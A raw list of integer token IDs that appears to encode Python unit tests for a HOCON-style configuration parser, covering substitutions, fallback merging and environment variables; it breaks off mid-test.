12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
1051,
353,
518,
29871,
29896,
29892,
29871,
29906,
29892,
29871,
29941,
4514,
13,
9651,
9995,
13,
4706,
1723,
13,
4706,
2295,
29906,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
1051,
353,
6435,
1761,
29913,
518,
29871,
29946,
29892,
29871,
29945,
29892,
29871,
29953,
4514,
13,
9651,
5124,
613,
13,
9651,
8814,
29922,
8824,
13,
4706,
1723,
13,
4706,
2295,
29906,
353,
2295,
29906,
29889,
2541,
29918,
11950,
1627,
29898,
2917,
29896,
29897,
13,
4706,
4974,
2295,
29906,
29889,
657,
703,
1761,
1159,
1275,
518,
29896,
29892,
29871,
29906,
29892,
29871,
29941,
29892,
29871,
29946,
29892,
29871,
29945,
29892,
29871,
29953,
29962,
13,
13,
1678,
822,
1243,
29918,
11950,
1627,
29918,
1311,
29918,
999,
29918,
22492,
5008,
29879,
29918,
4397,
29918,
11242,
29918,
10954,
29898,
1311,
1125,
13,
4706,
2295,
29896,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
1051,
353,
518,
29871,
29896,
29892,
29871,
29906,
29892,
29871,
29941,
4514,
13,
9651,
9995,
13,
4706,
1723,
13,
4706,
2295,
29906,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
1051,
4619,
518,
29871,
29946,
29892,
29871,
29945,
29892,
29871,
29953,
4514,
13,
9651,
5124,
613,
13,
9651,
8814,
29922,
8824,
13,
4706,
1723,
13,
4706,
2295,
29906,
353,
2295,
29906,
29889,
2541,
29918,
11950,
1627,
29898,
2917,
29896,
29897,
13,
4706,
4974,
2295,
29906,
29889,
657,
703,
1761,
1159,
1275,
518,
29896,
29892,
29871,
29906,
29892,
29871,
29941,
29892,
29871,
29946,
29892,
29871,
29945,
29892,
29871,
29953,
29962,
13,
13,
1678,
822,
1243,
29918,
1311,
29918,
14634,
29918,
999,
29918,
22492,
5008,
29879,
29918,
3318,
29898,
1311,
1125,
13,
4706,
2295,
29896,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
263,
584,
426,
500,
13,
9651,
289,
584,
29871,
29896,
13,
9651,
274,
584,
6435,
29874,
29913,
426,
270,
584,
518,
6435,
29890,
29913,
4514,
500,
13,
9651,
5124,
613,
13,
9651,
8814,
29922,
8824,
13,
4706,
1723,
13,
4706,
2295,
29906,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
321,
584,
6435,
29874,
29913,
426,
13,
9651,
500,
13,
9651,
5124,
613,
13,
9651,
8814,
29922,
8824,
13,
4706,
1723,
13,
4706,
19412,
353,
12782,
9643,
29889,
14634,
29918,
2917,
29879,
29898,
2917,
29896,
29892,
2295,
29906,
29897,
13,
4706,
12782,
11726,
29889,
17863,
29918,
22492,
5008,
29879,
29898,
1050,
3192,
29897,
13,
4706,
4974,
19412,
29889,
657,
703,
29883,
29889,
29881,
1159,
1275,
518,
29896,
29962,
13,
13,
1678,
822,
1243,
29918,
1311,
29918,
14634,
29918,
999,
29918,
22492,
5008,
29879,
29918,
3318,
29906,
29898,
1311,
1125,
13,
4706,
2295,
29896,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
921,
584,
426,
325,
29896,
29901,
29871,
29896,
500,
13,
9651,
289,
29896,
584,
426,
29894,
29906,
29901,
29871,
29906,
500,
13,
9651,
289,
353,
518,
5303,
29890,
29896,
6525,
13,
9651,
5124,
613,
13,
9651,
8814,
29922,
8824,
13,
4706,
1723,
13,
4706,
2295,
29906,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
289,
29906,
584,
6435,
29916,
29913,
426,
29894,
29906,
29901,
29871,
29941,
29913,
13,
9651,
289,
4619,
518,
5303,
29890,
29906,
6525,
13,
9651,
5124,
613,
13,
9651,
8814,
29922,
8824,
13,
4706,
1723,
13,
4706,
19412,
353,
12782,
9643,
29889,
14634,
29918,
2917,
29879,
29898,
2917,
29896,
29892,
2295,
29906,
29897,
13,
4706,
12782,
11726,
29889,
17863,
29918,
22492,
5008,
29879,
29898,
1050,
3192,
29897,
13,
4706,
289,
353,
19412,
29889,
657,
703,
29890,
1159,
13,
4706,
4974,
7431,
29898,
29890,
29897,
1275,
29871,
29906,
13,
4706,
4974,
289,
29961,
29900,
29962,
1275,
11117,
29894,
29906,
2396,
29871,
29906,
29913,
13,
4706,
4974,
289,
29961,
29896,
29962,
1275,
11117,
29894,
29896,
2396,
29871,
29896,
29892,
525,
29894,
29906,
2396,
29871,
29941,
29913,
13,
13,
1678,
822,
1243,
29918,
1311,
29918,
14634,
29918,
999,
29918,
22492,
5008,
29879,
29918,
3318,
29941,
29898,
1311,
1125,
13,
4706,
2295,
29896,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
289,
29896,
584,
426,
325,
29896,
29901,
29871,
29896,
500,
13,
9651,
289,
353,
518,
5303,
29890,
29896,
6525,
13,
9651,
5124,
613,
13,
9651,
8814,
29922,
8824,
13,
4706,
1723,
13,
4706,
2295,
29906,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
289,
29896,
584,
426,
325,
29896,
29901,
29871,
29906,
29892,
325,
29906,
29901,
29871,
29941,
500,
13,
9651,
5124,
613,
13,
9651,
8814,
29922,
8824,
13,
4706,
1723,
13,
4706,
19412,
353,
12782,
9643,
29889,
14634,
29918,
2917,
29879,
29898,
2917,
29896,
29892,
2295,
29906,
29897,
13,
4706,
12782,
11726,
29889,
17863,
29918,
22492,
5008,
29879,
29898,
1050,
3192,
29897,
13,
4706,
4974,
19412,
29889,
657,
703,
29890,
29896,
1159,
1275,
8853,
29894,
29896,
1115,
29871,
29906,
29892,
376,
29894,
29906,
1115,
29871,
29941,
29913,
13,
4706,
289,
353,
19412,
29889,
657,
703,
29890,
1159,
13,
4706,
4974,
7431,
29898,
29890,
29897,
1275,
29871,
29896,
13,
4706,
4974,
289,
29961,
29900,
29962,
1275,
8853,
29894,
29896,
1115,
29871,
29906,
29892,
376,
29894,
29906,
1115,
29871,
29941,
29913,
13,
13,
1678,
822,
1243,
29918,
11950,
1627,
29918,
1311,
29918,
999,
29918,
22492,
5008,
29879,
29918,
14634,
29898,
1311,
1125,
13,
4706,
2295,
29896,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
9657,
353,
426,
921,
29901,
29871,
29896,
500,
13,
9651,
9995,
13,
4706,
1723,
13,
4706,
2295,
29906,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
9657,
353,
6435,
8977,
29913,
426,
343,
29901,
29871,
29906,
500,
13,
9651,
5124,
613,
13,
9651,
8814,
29922,
8824,
13,
4706,
1723,
13,
4706,
2295,
29906,
353,
2295,
29906,
29889,
2541,
29918,
11950,
1627,
29898,
2917,
29896,
29897,
13,
4706,
4974,
2295,
29906,
29889,
657,
703,
8977,
1159,
1275,
11117,
29916,
2396,
29871,
29896,
29892,
525,
29891,
2396,
29871,
29906,
29913,
13,
13,
1678,
822,
1243,
29918,
11950,
1627,
29918,
1311,
29918,
999,
29918,
22492,
5008,
29879,
29918,
17685,
29918,
1807,
29898,
1311,
1125,
13,
4706,
2295,
29896,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
1347,
353,
25638,
13,
9651,
9995,
13,
4706,
1723,
13,
4706,
2295,
29906,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
1347,
353,
6435,
1807,
29913,
1753,
13,
9651,
5124,
613,
13,
9651,
8814,
29922,
8824,
13,
4706,
1723,
13,
4706,
1121,
353,
2295,
29906,
29889,
2541,
29918,
11950,
1627,
29898,
2917,
29896,
29897,
13,
4706,
4974,
1121,
29889,
657,
703,
1807,
1159,
1275,
525,
10736,
1753,
29915,
13,
13,
4706,
396,
1243,
694,
5478,
362,
373,
2295,
29896,
13,
4706,
4974,
1121,
338,
451,
2295,
29896,
13,
4706,
396,
1243,
694,
5478,
362,
373,
2295,
29906,
13,
4706,
4974,
376,
10736,
29908,
451,
297,
851,
29898,
2917,
29906,
29897,
13,
13,
1678,
822,
1243,
29918,
11950,
1627,
29918,
5464,
29918,
4632,
29898,
1311,
1125,
13,
4706,
3876,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
263,
353,
29871,
29896,
13,
9651,
7145,
29889,
29890,
353,
29871,
29896,
13,
9651,
9995,
13,
4706,
1723,
13,
13,
4706,
2295,
353,
3876,
29889,
657,
29918,
2917,
703,
6563,
2564,
2541,
29918,
11950,
1627,
29898,
4632,
29897,
13,
4706,
4974,
2295,
1839,
29874,
2033,
1275,
29871,
29896,
322,
2295,
1839,
29890,
2033,
1275,
29871,
29896,
13,
13,
1678,
822,
1243,
29918,
3318,
29918,
2671,
29918,
22492,
5008,
29898,
1311,
1125,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
319,
353,
6435,
3057,
29913,
13,
13,
9651,
4321,
426,
13,
18884,
1746,
29896,
353,
29871,
29896,
13,
18884,
1746,
29906,
353,
6435,
3057,
29889,
2671,
29896,
5038,
29906,
29908,
13,
18884,
1746,
29941,
353,
6435,
3057,
29889,
2671,
29906,
5038,
29941,
29908,
13,
9651,
500,
13,
9651,
9995,
13,
4706,
1723,
13,
13,
4706,
4974,
2295,
29889,
657,
29918,
1807,
703,
29909,
29889,
2671,
29896,
1159,
1275,
376,
29896,
29908,
13,
4706,
4974,
2295,
29889,
657,
29918,
1807,
703,
29909,
29889,
2671,
29906,
1159,
1275,
376,
29896,
29906,
29908,
13,
4706,
4974,
2295,
29889,
657,
29918,
1807,
703,
29909,
29889,
2671,
29941,
1159,
1275,
376,
29896,
29906,
29941,
29908,
13,
4706,
4974,
2295,
29889,
657,
29918,
1807,
703,
3057,
29889,
2671,
29896,
1159,
1275,
376,
29896,
29908,
13,
4706,
4974,
2295,
29889,
657,
29918,
1807,
703,
3057,
29889,
2671,
29906,
1159,
1275,
376,
29896,
29906,
29908,
13,
4706,
4974,
2295,
29889,
657,
29918,
1807,
703,
3057,
29889,
2671,
29941,
1159,
1275,
376,
29896,
29906,
29941,
29908,
13,
13,
1678,
822,
1243,
29918,
650,
29918,
1220,
29918,
1396,
29918,
21587,
29898,
1311,
1125,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
1243,
29918,
1217,
29918,
339,
4769,
29901,
25638,
1966,
29876,
1966,
29876,
13,
9651,
1243,
29918,
339,
4769,
29901,
376,
10736,
1966,
29876,
1966,
29876,
29908,
13,
9651,
9995,
13,
4706,
1723,
13,
13,
4706,
4974,
2295,
1275,
426,
13,
9651,
525,
1688,
29918,
1217,
29918,
339,
4769,
2396,
525,
10736,
29905,
29876,
29905,
29876,
742,
13,
9651,
525,
1688,
29918,
339,
4769,
2396,
525,
10736,
29905,
29876,
29905,
29876,
29915,
13,
4706,
500,
13,
13,
1678,
822,
1243,
29918,
9910,
29918,
1220,
29918,
21587,
29898,
1311,
1125,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
2541,
29899,
267,
5030,
287,
29899,
1627,
17057,
29901,
13218,
5931,
5931,
13,
1966,
1966,
13,
5931,
5931,
5931,
13,
13,
2541,
29899,
1482,
1220,
29899,
21587,
29899,
16506,
29901,
13218,
5931,
5931,
13,
1966,
29876,
13,
5931,
5931,
5931,
13,
13,
2541,
29899,
267,
5030,
287,
29899,
1482,
1220,
29899,
21587,
29899,
16506,
29901,
13218,
5931,
5931,
13,
1966,
1966,
29876,
13,
5931,
5931,
5931,
13,
9651,
9995,
13,
4706,
1723,
13,
13,
4706,
4974,
2295,
1839,
2541,
29899,
267,
5030,
287,
29899,
1627,
17057,
2033,
1275,
11297,
29876,
1966,
1966,
29905,
29876,
29915,
13,
4706,
4974,
2295,
1839,
2541,
29899,
1482,
1220,
29899,
21587,
29899,
16506,
2033,
1275,
11297,
29876,
1966,
29876,
29905,
29876,
29915,
13,
4706,
4974,
2295,
1839,
2541,
29899,
267,
5030,
287,
29899,
1482,
1220,
29899,
21587,
29899,
16506,
2033,
1275,
11297,
29876,
1966,
1966,
29876,
29905,
29876,
29915,
13,
13,
1678,
822,
1243,
29918,
4713,
309,
457,
29918,
2541,
29918,
1627,
17057,
29898,
1311,
1125,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
1243,
353,
1196,
29896,
320,
13,
1220,
29906,
13,
1688,
29906,
353,
1243,
13,
9651,
5124,
1159,
13,
13,
4706,
4974,
2295,
1275,
426,
13,
9651,
525,
1688,
2396,
525,
1220,
29896,
1196,
29906,
742,
13,
9651,
525,
1688,
29906,
2396,
525,
1688,
29915,
13,
4706,
500,
13,
13,
1678,
822,
1243,
29918,
3166,
29918,
8977,
29918,
2541,
29918,
8977,
29898,
1311,
1125,
13,
4706,
270,
353,
426,
13,
9651,
525,
2571,
1648,
2396,
29871,
29941,
29892,
13,
9651,
525,
11548,
2396,
29871,
29946,
29892,
13,
9651,
525,
412,
279,
2396,
29871,
29896,
29892,
13,
9651,
525,
272,
927,
2396,
29871,
29906,
29892,
13,
4706,
500,
13,
4706,
2295,
353,
12782,
5126,
29889,
3166,
29918,
8977,
29898,
29881,
29897,
13,
4706,
4974,
2295,
1275,
270,
13,
13,
1678,
822,
1243,
29918,
3166,
29918,
8977,
29918,
2541,
29918,
21693,
29918,
8977,
29898,
1311,
1125,
13,
4706,
270,
353,
8170,
287,
21533,
580,
13,
4706,
270,
1839,
2571,
1648,
2033,
353,
29871,
29941,
13,
4706,
270,
1839,
11548,
2033,
353,
29871,
29946,
13,
4706,
270,
1839,
412,
279,
2033,
353,
29871,
29896,
13,
4706,
270,
1839,
272,
927,
2033,
353,
29871,
29906,
13,
4706,
2295,
353,
12782,
5126,
29889,
3166,
29918,
8977,
29898,
29881,
29897,
13,
4706,
4974,
2295,
1275,
270,
13,
13,
1678,
822,
1243,
29918,
3166,
29918,
8977,
29918,
2541,
29918,
27420,
29918,
8977,
29898,
1311,
1125,
13,
4706,
270,
353,
8170,
287,
21533,
580,
13,
4706,
270,
1839,
2571,
1648,
2033,
353,
29871,
29941,
13,
4706,
270,
1839,
11548,
2033,
353,
29871,
29946,
13,
4706,
270,
1839,
412,
279,
2033,
353,
29871,
29896,
13,
4706,
270,
1839,
8336,
2033,
353,
426,
13,
9651,
525,
29874,
2396,
525,
10736,
29905,
593,
342,
29905,
29876,
742,
13,
9651,
525,
29890,
2396,
518,
29896,
29892,
29871,
29906,
29892,
29871,
29941,
29962,
13,
4706,
500,
13,
4706,
2295,
353,
12782,
5126,
29889,
3166,
29918,
8977,
29898,
29881,
29897,
13,
4706,
4974,
2295,
1275,
270,
13,
13,
1678,
822,
1243,
29918,
3318,
29918,
17685,
29898,
1311,
1125,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
29877,
29896,
353,
426,
13,
18884,
7953,
584,
426,
13,
462,
1678,
263,
584,
29871,
29896,
13,
462,
1678,
289,
584,
29871,
29906,
13,
18884,
500,
13,
9651,
500,
13,
9651,
288,
29906,
353,
426,
13,
18884,
7953,
584,
426,
13,
462,
1678,
289,
584,
29871,
29941,
13,
462,
1678,
274,
584,
29871,
29946,
13,
18884,
500,
13,
9651,
500,
13,
9651,
288,
29941,
353,
6435,
29877,
29896,
29913,
6435,
29877,
29906,
29913,
13,
9651,
9995,
13,
4706,
1723,
13,
13,
4706,
4974,
2295,
29889,
657,
29918,
524,
877,
29877,
29896,
29889,
5431,
29889,
29890,
1495,
1275,
29871,
29906,
13,
4706,
4974,
2295,
29889,
657,
29918,
524,
877,
29877,
29906,
29889,
5431,
29889,
29890,
1495,
1275,
29871,
29941,
13,
4706,
4974,
2295,
29889,
657,
29918,
524,
877,
29877,
29941,
29889,
5431,
29889,
29890,
1495,
1275,
29871,
29941,
13,
4706,
4974,
2295,
29889,
657,
29918,
524,
877,
29877,
29896,
29889,
5431,
29889,
29883,
742,
2322,
29922,
29946,
29906,
29897,
1275,
29871,
29946,
29906,
13,
4706,
4974,
2295,
29889,
657,
29918,
524,
877,
29877,
29941,
29889,
5431,
29889,
29874,
1495,
1275,
29871,
29896,
13,
4706,
4974,
2295,
29889,
657,
29918,
524,
877,
29877,
29941,
29889,
5431,
29889,
29883,
1495,
1275,
29871,
29946,
13,
13,
1678,
822,
1243,
29918,
15118,
29918,
29955,
29945,
29898,
1311,
1125,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
3188,
584,
426,
13,
795,
2594,
29901,
6796,
29874,
3108,
13,
9651,
500,
13,
13,
9651,
1014,
584,
6435,
3188,
29913,
426,
13,
795,
12741,
29901,
6435,
3188,
29889,
1646,
29913,
6796,
29890,
3108,
13,
9651,
500,
13,
13,
9651,
1014,
29906,
29901,
6435,
1491,
29913,
13,
9651,
9995,
13,
4706,
1723,
13,
13,
4706,
4974,
2295,
29889,
657,
29918,
1761,
877,
3188,
29889,
1646,
1495,
1275,
6796,
29874,
3108,
13,
4706,
4974,
2295,
29889,
657,
29918,
1761,
877,
1491,
29889,
27975,
1495,
1275,
6796,
29874,
613,
376,
29890,
3108,
13,
4706,
4974,
2295,
29889,
657,
29918,
1761,
877,
1491,
29906,
29889,
27975,
1495,
1275,
6796,
29874,
613,
376,
29890,
3108,
13,
13,
1678,
822,
1243,
29918,
24595,
29918,
21693,
29918,
8977,
29898,
1311,
1125,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
321,
584,
6435,
29874,
29913,
426,
13,
9651,
500,
13,
9651,
5124,
613,
13,
9651,
8814,
29922,
8824,
13,
4706,
1723,
13,
4706,
411,
11451,
1688,
29889,
336,
4637,
29898,
3991,
2451,
1125,
13,
9651,
2295,
29889,
294,
29918,
24595,
29918,
21693,
29918,
8977,
580,
13,
13,
1678,
822,
1243,
29918,
339,
5715,
29918,
19651,
29918,
2541,
29918,
5652,
29898,
1311,
1125,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
694,
29918,
3018,
6504,
29918,
5652,
353,
376,
5431,
29908,
29871,
376,
1646,
29871,
376,
13,
9651,
25053,
29918,
5652,
353,
376,
5431,
29908,
29871,
376,
1646,
29871,
29850,
5652,
29913,
13,
9651,
25053,
29918,
5652,
29918,
2541,
29918,
9342,
353,
376,
5431,
29908,
29871,
376,
1646,
29871,
29850,
5652,
29913,
458,
3440,
13,
9651,
5124,
1642,
4830,
29898,
5652,
2433,
259,
525,
876,
13,
13,
4706,
4974,
2295,
1275,
426,
13,
9651,
525,
1217,
29918,
3018,
6504,
29918,
5652,
2396,
376,
5431,
29871,
2594,
29871,
9162,
13,
9651,
525,
3018,
6504,
29918,
5652,
2396,
376,
5431,
29871,
2594,
29871,
9162,
13,
9651,
525,
3018,
6504,
29918,
5652,
29918,
2541,
29918,
9342,
2396,
376,
5431,
29871,
2594,
29871,
376,
13,
4706,
500,
13,
13,
1678,
822,
1243,
29918,
348,
339,
5715,
29918,
19651,
29918,
2541,
29918,
5652,
29898,
1311,
1125,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
263,
353,
7953,
29871,
2594,
13,
9651,
5124,
1159,
13,
13,
4706,
4974,
2295,
1275,
426,
13,
9651,
525,
29874,
2396,
525,
5431,
29871,
2594,
29915,
13,
4706,
500,
13,
13,
1678,
822,
1243,
29918,
339,
5715,
29918,
348,
339,
5715,
29918,
19651,
29918,
2541,
29918,
5652,
29898,
1311,
1125,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
263,
353,
7953,
29871,
376,
1646,
29908,
259,
20254,
13,
9651,
5124,
1159,
13,
13,
4706,
4974,
2295,
1275,
426,
13,
9651,
525,
29874,
2396,
525,
5431,
29871,
2594,
259,
20254,
29915,
13,
4706,
500,
13,
13,
1678,
822,
1243,
29918,
339,
5715,
29918,
348,
339,
5715,
29918,
19651,
29918,
2541,
29918,
5652,
29918,
22492,
5008,
29879,
29898,
1311,
1125,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
921,
353,
29871,
29945,
13,
9651,
289,
353,
1243,
13,
9651,
263,
353,
7953,
29871,
376,
1646,
29908,
29871,
6435,
29890,
29913,
20254,
13,
9651,
274,
353,
7953,
3986,
6435,
29916,
29913,
4706,
289,
29894,
13,
9651,
270,
353,
7953,
3986,
6435,
29916,
29913,
308,
29946,
29941,
13,
9651,
5124,
1159,
13,
13,
4706,
4974,
2295,
1275,
426,
13,
9651,
525,
29916,
2396,
29871,
29945,
29892,
13,
9651,
525,
29890,
2396,
525,
1688,
742,
13,
9651,
525,
29874,
2396,
525,
5431,
29871,
2594,
29871,
1243,
20254,
742,
13,
9651,
525,
29883,
2396,
525,
5431,
965,
29945,
4706,
289,
29894,
742,
13,
9651,
525,
29881,
2396,
525,
5431,
965,
29945,
308,
29946,
29941,
29915,
13,
4706,
500,
13,
13,
1678,
822,
1243,
29918,
19676,
29918,
22492,
5008,
29879,
29898,
1311,
1125,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
263,
29901,
29871,
29896,
13,
9651,
289,
29901,
6435,
29883,
29913,
426,
13,
795,
3300,
29901,
518,
5303,
29874,
6525,
13,
795,
282,
29890,
29901,
6435,
29890,
29889,
3274,
29913,
13,
9651,
500,
13,
9651,
274,
29901,
426,
500,
13,
9651,
270,
29901,
426,
22844,
29901,
6435,
29890,
29889,
3274,
29913,
500,
13,
9651,
321,
29901,
6435,
29890,
29913,
13,
9651,
5124,
613,
8814,
29922,
5574,
29897,
13,
13,
4706,
4974,
2295,
1275,
426,
13,
9651,
525,
29874,
2396,
29871,
29896,
29892,
13,
9651,
525,
29890,
2396,
11117,
3274,
2396,
518,
29896,
1402,
525,
24381,
2396,
518,
29896,
29962,
1118,
13,
9651,
525,
29883,
2396,
24335,
13,
9651,
525,
29881,
2396,
11117,
6739,
2396,
518,
29896,
29962,
1118,
13,
9651,
525,
29872,
2396,
11117,
3274,
2396,
518,
29896,
1402,
525,
24381,
2396,
518,
29896,
12258,
13,
4706,
500,
13,
13,
1678,
822,
1243,
29918,
16645,
29918,
4622,
29918,
1220,
29898,
1311,
1125,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
263,
353,
849,
25638,
13,
9651,
25638,
13,
13,
9651,
274,
353,
13,
632,
29945,
13,
9651,
5124,
1159,
13,
13,
4706,
4974,
2295,
1275,
426,
13,
9651,
525,
29874,
2396,
525,
10736,
742,
13,
9651,
525,
29883,
2396,
29871,
29945,
13,
4706,
500,
13,
13,
1678,
732,
17640,
29889,
5041,
29889,
8977,
29898,
359,
29889,
21813,
29892,
29486,
4214,
29918,
26865,
2433,
1767,
29918,
3166,
29918,
20944,
1495,
13,
1678,
822,
1243,
29918,
1807,
29918,
3166,
29918,
20944,
29898,
1311,
1125,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
1347,
29918,
3166,
29918,
6272,
353,
6435,
20785,
29918,
26865,
29913,
13,
9651,
5124,
1159,
13,
4706,
4974,
2295,
1275,
426,
13,
9651,
525,
1807,
29918,
3166,
29918,
6272,
2396,
525,
1767,
29918,
3166,
29918,
20944,
29915,
13,
4706,
500,
13,
13,
1678,
732,
17640,
29889,
5041,
29889,
8977,
29898,
359,
29889,
21813,
29892,
29486,
4214,
29918,
26865,
2433,
1767,
29918,
3166,
29918,
20944,
1495,
13,
1678,
822,
1243,
29918,
1807,
29918,
3166,
29918,
20944,
29918,
1311,
29918,
999,
29898,
1311,
1125,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
29486,
4214,
29918,
26865,
353,
6435,
20785,
29918,
26865,
29913,
13,
9651,
5124,
1159,
13,
4706,
4974,
2295,
1275,
426,
13,
9651,
525,
20785,
29918,
26865,
2396,
525,
1767,
29918,
3166,
29918,
20944,
29915,
13,
4706,
500,
13,
13,
1678,
732,
17640,
29889,
5041,
29889,
8977,
29898,
359,
29889,
21813,
29892,
29486,
4214,
29918,
26865,
2433,
1767,
29918,
3166,
29918,
20944,
1495,
13,
1678,
822,
1243,
29918,
1807,
29918,
3166,
29918,
20944,
29918,
1311,
29918,
999,
29918,
25253,
29898,
1311,
1125,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
29486,
4214,
29918,
26865,
353,
6435,
29973,
20785,
29918,
26865,
29913,
13,
9651,
5124,
1159,
13,
4706,
4974,
2295,
1275,
426,
13,
9651,
525,
20785,
29918,
26865,
2396,
525,
1767,
29918,
3166,
29918,
20944,
29915,
13,
4706,
500,
13,
13,
1678,
732,
17640,
29889,
5041,
29889,
8977,
29898,
359,
29889,
21813,
29892,
15676,
29918,
1955,
29918,
25717,
2433,
4541,
1495,
13,
1678,
822,
1243,
29918,
11227,
29918,
3166,
29918,
20944,
29898,
1311,
1125,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
6120,
29918,
3166,
29918,
6272,
353,
6435,
20652,
29918,
1955,
29918,
25717,
29913,
13,
9651,
5124,
1159,
13,
4706,
4974,
2295,
1275,
426,
13,
9651,
525,
11227,
29918,
3166,
29918,
6272,
2396,
525,
4541,
29915,
13,
4706,
500,
13,
4706,
4974,
2295,
29889,
657,
29918,
11227,
877,
11227,
29918,
3166,
29918,
6272,
1495,
338,
7700,
13,
13,
1678,
732,
17640,
29889,
5041,
29889,
8977,
29898,
359,
29889,
21813,
29892,
19578,
29918,
26865,
2433,
29945,
1495,
13,
1678,
822,
1243,
29918,
524,
29918,
3166,
29918,
20944,
29898,
1311,
1125,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
938,
29918,
3166,
29918,
6272,
353,
6435,
10192,
29918,
26865,
29913,
13,
9651,
5124,
1159,
13,
4706,
4974,
2295,
1275,
426,
13,
9651,
525,
524,
29918,
3166,
29918,
6272,
2396,
525,
29945,
29915,
13,
4706,
500,
13,
4706,
4974,
2295,
29889,
657,
29918,
524,
877,
524,
29918,
3166,
29918,
6272,
1495,
1275,
29871,
29945,
13,
13,
1678,
822,
1243,
29918,
2523,
356,
29918,
8977,
29918,
1989,
29898,
1311,
1125,
13,
4706,
1881,
29918,
1807,
353,
318,
15945,
29908,
13,
1636,
29889,
11249,
29889,
510,
426,
13,
1678,
502,
426,
13,
4706,
1024,
353,
376,
4102,
5354,
29908,
13,
1678,
500,
13,
29913,
13,
1636,
29889,
4773,
29899,
29997,
29889,
510,
426,
13,
1678,
502,
426,
13,
4706,
1024,
353,
376,
7496,
5354,
29908,
13,
1678,
500,
13,
29913,
13,
4706,
9995,
13,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
2080,
29918,
1807,
29897,
13,
13,
4706,
4974,
2295,
29889,
657,
29918,
1807,
29898,
29884,
29915,
1636,
29889,
11249,
29889,
510,
29889,
375,
29889,
978,
1495,
1275,
525,
4102,
5354,
29915,
13,
4706,
4974,
2295,
29889,
657,
29918,
1807,
29898,
29884,
29915,
1636,
29889,
4773,
29899,
29997,
29889,
510,
29889,
375,
29889,
978,
1495,
1275,
525,
7496,
5354,
29915,
13,
4706,
411,
11451,
1688,
29889,
336,
4637,
29898,
3991,
29956,
29373,
1542,
2451,
1125,
13,
9651,
2295,
29889,
649,
29898,
29884,
29915,
1636,
29889,
4773,
29899,
29997,
742,
525,
4397,
29918,
14057,
545,
742,
9773,
29922,
5574,
29897,
13,
4706,
411,
11451,
1688,
29889,
336,
4637,
29898,
3991,
18552,
292,
2451,
1125,
13,
9651,
2295,
29889,
657,
29918,
1807,
29898,
29884,
29915,
27259,
29918,
2523,
356,
29918,
1989,
29918,
29997,
1495,
13,
4706,
411,
11451,
1688,
29889,
336,
4637,
29898,
3991,
2451,
1125,
13,
9651,
2295,
29889,
657,
29918,
11227,
29898,
29884,
29915,
1636,
29889,
4773,
29899,
29997,
29889,
510,
29889,
375,
29889,
978,
1495,
13,
4706,
411,
11451,
1688,
29889,
336,
4637,
29898,
3991,
2451,
1125,
13,
9651,
2295,
29889,
657,
29918,
1761,
29898,
29884,
29915,
1636,
29889,
4773,
29899,
29997,
29889,
510,
29889,
375,
29889,
978,
1495,
13,
4706,
411,
11451,
1688,
29889,
336,
4637,
29898,
3991,
2451,
1125,
13,
9651,
2295,
29889,
657,
29918,
2917,
29898,
29884,
29915,
1636,
29889,
4773,
29899,
29997,
29889,
510,
29889,
375,
29889,
978,
1495,
13,
4706,
411,
11451,
1688,
29889,
336,
4637,
29898,
3991,
29956,
